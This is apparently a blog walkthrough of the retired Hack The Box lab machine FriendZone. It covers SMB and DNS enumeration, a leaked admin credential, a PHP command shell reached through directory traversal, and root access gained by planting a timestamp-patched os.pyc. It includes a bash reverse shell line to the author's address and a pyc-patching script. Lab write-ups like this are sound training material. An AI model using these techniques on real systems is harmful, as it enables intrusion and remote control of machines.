FriendZone is a medium-difficulty, CTF-style, Linux machine at Hack The Box that was retired today. I found the process of getting an initial foothold to be pretty routine, despite the number of rabbit holes. Privilege escalation using backdoored Python files was especially interesting.
This is a box that requires a lot of information gathering to get initial user access.
A full TCP port scan using
masscan reveals the following open ports:
masscan --rate=1000 -e tun0 -p1-65535 10.10.10.123 Discovered open port 22/tcp on 10.10.10.123 Discovered open port 53/tcp on 10.10.10.123 Discovered open port 443/tcp on 10.10.10.123 Discovered open port 139/tcp on 10.10.10.123 Discovered open port 80/tcp on 10.10.10.123 Discovered open port 445/tcp on 10.10.10.123 Discovered open port 21/tcp on 10.10.10.123
Port 53 (DNS) strikes me as potentially interesting given the theme of the box.
The SMB port turns out to be open for anonymous access.
# smbclient.py 10.10.10.123 Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation Type help for list of commands # shares print$ Files general Development IPC$ # use general # ls drw-rw-rw- 0 Wed Jan 16 15:10:51 2019 . drw-rw-rw- 0 Wed Jan 23 16:51:02 2019 .. -rw-rw-rw- 57 Tue Oct 9 19:52:42 2018 creds.txt # get creds.txt # use Development # ls drw-rw-rw- 0 Wed Jan 16 15:03:49 2019 . drw-rw-rw- 0 Wed Jan 23 16:51:02 2019 ..
creds.txt file is available in the
general share with the following contents:
creds for the admin THING: admin:WORKWORKHhallelujah@#
Admin credentials, but for what?
Development share is also open for write access.
A followup nmap scan shows the mapping of shares to folders on the local file system, which will be useful later (output has been condensed):
# nmap -p 139,445 --script=smb-enum-shares.nse 10.10.10.123 | \\10.10.10.123\Development: | Path: C:\etc\Development | \\10.10.10.123\Files: | Path: C:\etc\hole | \\10.10.10.123\IPC$: | Path: C:\tmp | \\10.10.10.123\general: | Path: C:\etc\general | \\10.10.10.123\print$: | Path: C:\var\lib\samba\printers
Enumeration of the HTTP port and HTTPS ports reveals that there are two domains associated with this machine: `friendzoneportal.red` and `friendzone.red`.
dirb scans don’t turn up much.
With two domains in hand, I attempt a zone transfer using
dig to enumerate all virtual hosts associated with the machine:
# dig axfr +noall +answer @10.10.10.123 friendzone.red friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 friendzone.red. 604800 IN AAAA ::1 friendzone.red. 604800 IN NS localhost. friendzone.red. 604800 IN A 127.0.0.1 administrator1.friendzone.red. 604800 IN A 127.0.0.1 hr.friendzone.red. 604800 IN A 127.0.0.1 uploads.friendzone.red. 604800 IN A 127.0.0.1 friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 # dig axfr +noall +answer @10.10.10.123 friendzoneportal.red friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 friendzoneportal.red. 604800 IN AAAA ::1 friendzoneportal.red. 604800 IN NS localhost. friendzoneportal.red. 604800 IN A 127.0.0.1 admin.friendzoneportal.red. 604800 IN A 127.0.0.1 files.friendzoneportal.red. 604800 IN A 127.0.0.1 imports.friendzoneportal.red. 604800 IN A 127.0.0.1 vpn.friendzoneportal.red. 604800 IN A 127.0.0.1 friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
The zone transfer succeeds and reveals a number of virtual hosts. I put these in my
/etc/hosts file for further exploration.
The FTP share is not open anonymous access, and there’s no obvious exploit for the FTP server version that is running.
Getting User Access
Next is the tedious process of enumerating each of the virtual hosts through both the HTTP and HTTPS ports. There are a number of rabbit holes here leading nowhere. Eventually I find the sought-after admin page at https://administrator1.friendzone.red:
And the credentials initially retrieved from the SMB share work!
On the dashboard page, there’s a URL that seems susceptible to directory traversal. I try different combinations and find that the
pagename parameter is vulnerable.
I then upload a PHP command shell to the SMB Development share.
# smbclient.py friendzone.red Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation Type help for list of commands # use Development # put cmd.php # ls drw-rw-rw- 0 Fri Jul 12 21:09:04 2019 . drw-rw-rw- 0 Wed Jan 23 16:51:02 2019 .. -rw-rw-rw- 45 Fri Jul 12 21:09:04 2019 cmd.php
I access the command shell via directory traversal at
../../../etc/Development/cmd, noting that the Development share is mapped locally to the
I’ve got remote code execution. I use the command shell to probe the directories on the host, and find credentials for MySQL in
The creds also work for SSH access!
user.txt flag is available in the
friend user’s home directory.
Escalation to Root
pspy identifies a cron job running every few minutes, located at
2019/07/13 07:21:44 CMD: UID=1000 PID=1079 | ./pspy64 2019/07/13 07:21:44 CMD: UID=1000 PID=1013 | -bash 2019/07/13 07:21:44 CMD: UID=1000 PID=1012 | sshd: friend@pts/0 2019/07/13 07:21:44 CMD: UID=0 PID=10 | 2019/07/13 07:21:44 CMD: UID=0 PID=1 | /sbin/init splash 2019/07/13 07:21:59 CMD: UID=0 PID=1087 | 2019/07/13 07:22:01 CMD: UID=0 PID=1090 | /bin/sh -c /opt/server_admin/reporter.py 2019/07/13 07:22:01 CMD: UID=0 PID=1089 | /bin/sh -c /opt/server_admin/reporter.py 2019/07/13 07:22:01 CMD: UID=0 PID=1088 | /usr/sbin/CRON -f
The script is not writable by the
friend user, and doesn’t appear to do much of anything:
friend@FriendZone:~$ cat /opt/server_admin/reporter.py #!/usr/bin/python import os to_address = "firstname.lastname@example.org" from_address = "email@example.com" print "[+] Trying to send email to %s"%to_address #command = ''' mailsend -to firstname.lastname@example.org -from email@example.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"''' #os.system(command) # I need to edit the script later # Sam ~ python developer
Second, there’s an interesting abnormal file,
os.pyc that is owned by
friend@FriendZone:~$ find / -user friend 2> /dev/null | grep -v /proc | grep -v /sys | grep -v /run /var/mail/friend /home/friend /home/friend/.bash_logout /home/friend/.bashrc /home/friend/.gnupg /home/friend/.gnupg/private-keys-v1.d /home/friend/.sudo_as_admin_successful /home/friend/pspy64 /home/friend/.profile /home/friend/.cache /home/friend/.cache/motd.legal-displayed /home/friend/.local /home/friend/.local/share /home/friend/.local/share/nano /usr/lib/python2.7/os.pyc /dev/pts/0
os.pyc file is the key to getting to root, because the
os module is loaded by the
reporter.py cron job run by
I create a bash script, called
shell.sh, to get a reverse shell, and place it in the
/home/friend directory. The bash script looks like this:
#!/bin/bash bash -i >& /dev/tcp/10.10.14.21/80 0>&1
Then I take a copy of
os.py from the
/usr/lib/python2.7 directory and add the following backdoor to the end of the file to invoke my bash script:
I compile my modified
os.py file to generate a new
python -m compileall os.py
I replace the
os.pyc file in the
/usr/lib/python2.7 with my newly compiled copy and wait for the cron job to run, expecting to get a reverse shell. Alas, it doesn’t fire. Turns out Python is smart enough to recognize that my modified
os.pyc doesn’t match the
os.py. The system regenerates the
os.pyc file and overwrites my modified copy. But now the new
os.pyc is owned by root and I have no way of replacing it again! Time to reset the box.
I do some research on how Python recognizes when to recompile a
py file, and find this informative post. There’s timestamp embedded 4 bytes into the
pyc file that is matched against the timestamp of the corresponding
py file. If the timestamps match, Python doesn’t recompile the
py file. So all I have to do is alter my
os.pyc file to embed the same timestamp as the
I use the
stat command to get the Unix timestamp of the
friend@FriendZone:~$ stat -c %Y /usr/lib/python2.7/os.py 1547583563
Then I write a small script to patch my modified
os.pyc file with the desired timestamp:
import struct with open('os.pyc', 'rb+') as f: f.seek(4,0) b = struct.pack('<I', 1547583563) f.write(b)
I take my modified
os.pyc and place it in the
/usr/lib/python2.7 directory. This time the reverse shell is triggered, and I get root access.
While the overall box is very CTF-like in nature, I thought it was valuable to reinforce the necessity of doing thorough enumeration, especially with DNS. Multiple vulnerabilities (SMB, DNS, and HTTPS directory traversal) had to be linked together to gain user access. And I learned something interesting about how Python compilation works.